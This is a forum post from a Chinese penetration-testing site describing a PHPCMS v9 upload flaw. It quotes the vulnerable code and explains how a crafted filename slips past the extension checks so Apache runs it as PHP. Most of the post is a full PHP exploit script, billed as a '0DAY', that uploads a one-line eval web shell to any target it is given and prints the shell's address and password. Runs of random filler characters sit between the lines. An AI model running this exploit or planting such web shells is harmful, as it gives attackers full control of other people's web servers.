中国网络渗透测试联盟
标题:
PHPCMS v9 Getshell
[打印本页]
作者:
admin
时间:
2013-3-7 13:06
标题:
PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行
# S/ {+ {& P+ H/ V6 i5 t
- L7 B, u' _; o" ^4 ~
简要描述:
" s9 b" g/ M0 p4 z6 A
! d( _2 t- R1 ~
phpcms v9 getshell (apache)
/ @2 y0 s. W4 [6 t
详细说明:
' X# P, Z3 o/ } L
* [% H6 u! D# u" o* A! T
漏洞文件:phpcms\modules\attachment\attachments.php
7 I1 f. X6 _0 A! L: L6 Q' R
: Y3 j+ f1 f3 R2 V
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
! E; z' I" U3 |, d; t5 ]0 j0 _
后缀检测:phpcms\modules\attachment\functions\global.func.php
2 U% {% J, N9 w
8 R4 B- }0 u# N" K* A- v+ W0 ^
; [" I! c& V& Y; Y
( n' i* Z: f0 X1 X: z- N2 e
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
$ Z1 @) q& c- s( { T3 m
) @" K4 ?6 b, K, F4 b* w9 U: l h4 b
关键函数:
* d) f0 G6 w. j6 a2 X
5 O$ I1 ]- A4 m3 I1 Y6 i
" P/ |3 w+ }. G0 L
4 N& o8 X9 p& P+ O
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
% ^+ H! h' `/ {8 z# K
$ O- S6 m0 c) K; x
Fileext函数是对文件后缀名的提取。
. O: _/ K) i% P0 w& ^+ i! t
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
$ r, C0 q! n( V) g' X
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
: U% a% }4 S4 t5 C; L
我们回到public function crop_upload() 函数中
% ~7 P. C1 [7 C5 P" M
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
0 h/ h' X% }$ k% U2 S; U& N8 ]
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
9 a( i5 r) I4 r& J: q
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
! N! h, a0 r: o4 G3 p
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
8 z" A4 T a! c* A0 f0 i
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
* T9 P7 W4 t! H& i# E
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
% Z( V* h7 D- N8 r6 B0 T, O
漏洞证明:
3 Y, m8 _. ^) b1 V
4 D) ]9 _7 w/ S8 i
exp:
; q/ ?1 w; Q' l
9 j; A; }5 `, I6 a
<?php
( N! w: s) M5 F9 y& G5 i2 c
error_reporting(E_ERROR);
0 b. b3 G5 a0 A: M) t+ b
set_time_limit(0);
$ q3 U4 A0 s0 t% ~( j! X4 ]; c
$pass="ln";
2 K$ Q Y! L0 C, G* _, M
print_r('
2 s5 U3 r" b# l9 H2 T* l
+---------------------------------------------------------------------------+
! t1 M# c7 @/ W
PHPCms V9 GETSHELL 0DAY
7 Q$ H c; w+ m2 q5 O+ x& K
code by L.N.
# ]0 R! b. ^6 U! ?
H1 }/ b! t; r
apache 适用(利用的apache的解析漏洞) // 云安全
www.yunsec.net
3 H) T: d2 p! U' k
+---------------------------------------------------------------------------+
* B/ U ]1 {9 o
');
) a; G8 D2 W6 ^( A$ b! @
if ($argc < 2) {
. G. \8 X) g4 U5 N9 }# g
print_r('
! T6 _) p8 x6 |+ Y
+---------------------------------------------------------------------------+
2 N8 [8 U" P g
Usage: php '.$argv[0].' url path
- ^- S, a. E$ F& K" D# m) ?
( r% J2 K8 _, y, \, O. c
Example:
- K0 ]+ ?. p5 j7 V4 _
1.php '.$argv[0].' lanu.sinaapp.com
3 w6 K/ f$ E3 _3 e) u1 d, c
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
& i" q7 M0 N/ ~ R! A& h# o5 t& `$ ?
+---------------------------------------------------------------------------+
' G3 E+ J6 ~6 m! I7 e0 K2 z8 ]% G) |
');
, l4 k8 n1 a: f, v* G5 A
exit;
% Z8 |- `3 G! e4 k" {9 Q
}
+ s7 E+ a$ G8 J3 |9 E
( T" r- q/ C2 F! j/ |2 X, d- r+ G
$url = $argv[1];
. h/ v: y& [# Q6 _
$path = $argv[2];
1 m8 k" O' r i6 k2 Z3 g! u& n
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
7 h: p. c# V+ e! Z0 N' B
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
* I3 B7 N0 U2 O' ~9 l
if($ret=Create_dir($url,$path))
+ P0 _: e- E+ i9 @% ]# s! Q
{
@( J; s* a5 A1 q- y) B9 D
//echo $ret;
) e5 j4 \1 Q# }0 [5 X# W
$pattern = "|Server:[^,]+?|U";
1 z* O) ]. a& F
preg_match_all($pattern, $ret, $matches);
' z2 N- b+ D' f/ o+ |, p j
if($matches[0][0])
/ L9 W" z6 N" `6 g" f
{
/ E- P& }: ? l3 Y& ]
if(strpos($matches[0][0],'Apache') == false)
8 m( q* g9 v$ ]. {: n" }/ T4 B( n
{
! _8 }# [" Y* g! P+ d
echo "\n亲!此网站不是apache的网站。\n";exit;
7 G; J {& N5 K7 R8 W; \0 F
}
0 A/ N4 Y4 A% Z: h) U
}
+ U" p' K0 k' a! ~8 F( T
$ret = GetShell($url,$phpshell,$path,$file);
$ ^& K+ N: k6 ^# P- v _8 r
$pattern = "|http:\/\/[^,]+?\.,?|U";
/ i+ j; m' T. a5 Y
preg_match_all($pattern, $ret, $matches);
# N- G+ L' R7 Z( X; q( L5 G6 \- F
if($matches[0][0])
# J! i: o T6 }/ N, Z
{
+ B6 X/ h- k5 B; B) s0 J; T4 t
echo "\n".'密码为: '.$pass."\n";
' i2 k5 S1 s6 R% v
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
2 b+ o$ I% E. c R/ a* K
}
# T \/ Z, r/ P" B
else
$ i4 O+ e" O ?; h9 ]8 e' f/ @8 e
{
: @- j4 p" b/ I* Y
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
( u1 {0 y0 ?$ A6 Z6 {' y
preg_match_all($pattern, $ret, $matches);
3 T6 d P; z/ S* m/ V/ }# S( @8 \
if($matches[0][0])
/ {# b6 u& x1 q) e0 V& c' v
{
$ h! I2 O" r6 c7 |7 w% p. D ^, v
echo "\n".'密码为: '.$pass."\n";
& ~* W; M- ~( P" r: J" ?
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
% l @4 g9 n( b: `7 ]$ j8 H$ A. X
}
1 q8 Q1 B7 @: F. z: L# [9 n( d
else
% Z9 O) g8 P4 e$ p: z7 H. x
{
: c. B' g- M( Y
echo "\r\n没得到!\n";exit;
7 B' c$ i4 K( Z+ h7 L7 L9 z
}
4 ?2 l: [1 Y; x7 v
}
; N' f# f+ ~( j* J& R' ~$ H v
}
: K4 s4 r. ?9 Q2 M7 t8 R
& q( s9 B' I+ U: a( J+ l
function GetShell($url,$shell,$path,$js)
9 X! V0 B" y% I& u
{
" v0 v& r; p3 Q' S. v5 \& y+ a, J
$content =$shell;
: n! O# h* w( _6 H
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
" z& K. ^ J! k z: q
$data .= "Host: ".$url."\r\n";
7 t, z! B& e+ I) Q6 a
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
4 a7 W+ h# ~- d, a2 C
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
7 f/ v, v H/ I3 ]& R
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
& D- F/ `, u3 u( k& V' R
$data .= "Connection: close\r\n";
! T' D* _7 t, }2 C! }$ }6 \) o2 c3 f
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
, K, J: U4 m+ C- y" D# n
$data .= $content."\r\n";
3 k! n, f# a$ \
$ock=fsockopen($url,80);
* T7 s# Z6 Y/ ~5 }# P* r9 A0 {% L o6 Q
if (!$ock)
; p- g2 ^% L" a! Q5 x9 z8 \
{
9 K4 W# h* m' a6 o! u
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
+ K( |: W+ V3 f, [9 W7 u( j
}
) D- x9 U5 z( l2 @
else
' R) w* `$ N# p! ^; X# Z
{
" x/ J" x* k; i1 }9 p# Q; J5 x
fwrite($ock,$data);
s* O, N+ N+ u4 y2 i! L
$resp = '';
4 b1 @' H$ @1 r, L8 P
while (!feof($ock))
4 M- ~8 q6 o1 `1 q1 b
{
& t& p |) X7 i
$resp.=fread($ock, 1024);
! [, E) Q, _" T4 |+ _% e0 u
}
4 p6 I" a. E, U
return $resp;
/ e, E. p o' v* }8 \. l" H# p7 \+ r
}
* T7 @9 @% A$ ]2 a: W2 o
}
$ W M4 ~* c; t, ?
7 w* ? d, [6 X$ B# h$ s
function Create_dir($url,$path='')
& T' l0 q9 ]9 h6 |+ l0 R
{
3 j* N5 G* c7 L3 _
$content ='I love you';
9 _, F" R; ^/ W" A
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
& v# C" s+ r, T7 O6 F' d
$data .= "Host: ".$url."\r\n";
5 Z. b# }+ C- o, H0 S
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
0 \, p4 x0 D3 z/ \$ y2 _1 X7 R ^- j6 o- j
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$ F8 W1 A! F! i. W: C' E' f( X
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
2 k1 Q; Q! X+ g" y4 m" B
$data .= "Connection: close\r\n";
) k6 w4 m& e; ?& G* c/ S
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
4 I/ J" s" Z, d- R) J) v
$data .= $content."\r\n";
! B, x. M# h- x! g/ [- k9 ~
$ock=fsockopen($url,80);
. n# f' F$ U4 c# O% Z
if (!$ock)
8 ~4 z. E A2 ?7 ]
{
+ A& ]1 a- J: n V; p8 P
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
k. M5 M7 m: F1 F& f
}
Y" p( v/ ?5 _4 S
fwrite($ock,$data);
: x$ u9 R4 U* u) p2 ^& D3 F9 c% F
$resp = '';
0 n& O# P: F X+ d% q6 o5 c: N
while (!feof($ock))
! C" E- |* x7 }) e8 O$ E& H
{
7 K8 |0 m8 o$ \7 I3 L% M5 w8 u% B
$resp.=fread($ock, 1024);
, z6 F& a' {0 e+ k+ N! n! D
}
7 ^+ M( M0 B( h, ~
return $resp;
& @6 S) T* ?& x+ u) c7 @
}
0 Q: R% r P- ]
?>
7 x1 G; K y C$ e
) V, j5 ^3 _2 o6 T
修复方案:
. G4 C7 {) t7 z- u: m4 B2 k
' ^7 v: J2 G1 z6 D
过滤过滤再过滤
9 x% p E: @! b i' B$ X) ?1 y. m9 i
: C h( r% `& w3 z7 e; F* v
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2